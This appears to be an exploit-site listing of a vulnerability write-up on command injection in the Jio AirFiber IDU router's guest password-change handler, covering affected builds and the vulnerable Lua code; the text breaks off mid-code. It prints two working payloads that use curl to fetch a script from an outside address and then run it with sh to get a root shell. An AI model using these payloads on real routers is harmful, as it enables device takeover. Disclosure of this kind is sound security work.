Low Severity
Published: Nov 7, 2026

[GitHub] jio-airfiber-whitepaper

Other
Type
N/A
CVSS Score
1
Views
Anonymous
Author

Description

What is broken in Jio AirFiber IDU stock firmware: a command injection in the password-history check, which builds are affected, and which build fixes it

# Jio AirFiber IDU: command injection in `changeUserPassword`

**A logged-in web-UI session can run commands as root on the stock firmware, and
the only thing standing between the two is a password validator that allows
`$(...)`.**

Affected: Jio AirFiber IDU routers, MediaTek `6j01` builds `R2.0.19.6` through
`R3.2.0` and Qualcomm `6j11` builds up to at least `R3.2.6`.
Fixed by: `R3.2.3` on the MediaTek branch. Not fixed on the Qualcomm branch as
far as anyone has reported.

This is a write-up of behaviour already present in the routers you own, read out
of their own filesystem. Nothing here needs a cable, a soldering iron or a
downgrade.

---

## 1. Summary

The router's own web API has a password-change handler for the **guest**
account. Before it changes anything, it checks the new password against the last
three by hashing it — and it builds that hash command as a **string**, with the
password inside **double quotes**, then hands the string to `/bin/sh`.

`$(...)` inside double quotes is still evaluated. So the password field is a root
shell.

The validator that runs first does block `` ` `` `"` `'` `|` `;` and whitespace —
the characters you would reach for to write `curl … | sh`. It does **not** block
`$`, `(`, `)`, `{`, `}` or `${IFS}`, which is everything needed.

Two 32-character "passwords" are enough to get a persistent root shell:

```
Aa1$(curl${IFS}192.168.31.51>/a) # 32 chars - fetch a script
Aa1$(sh${IFS}/a) # 16 chars - run it
```

The prefix is per-account trivia: the handler remembers the last three
passwords, and a fetch payload always evaluates to its own literal prefix, so it
never trips that history check.

## 2. The code

Read from a stock `JIDU6801` rootfs on `R2.0.19.6`.

`usr/lib/lua/luci/model/jio/rules/user.lua`:

```lua
local command = string.format(CONSTANTS.CMD_OPENSSL_HASH_PASSWORD, newPasswd, rsn)
local hashPassword = jioUtil.remove_newline(luci.sys.exec(command))
```

`usr/lib/lua/luci/model/jio/constants

Community Rating
0

Login to rate this exploit

Quick Actions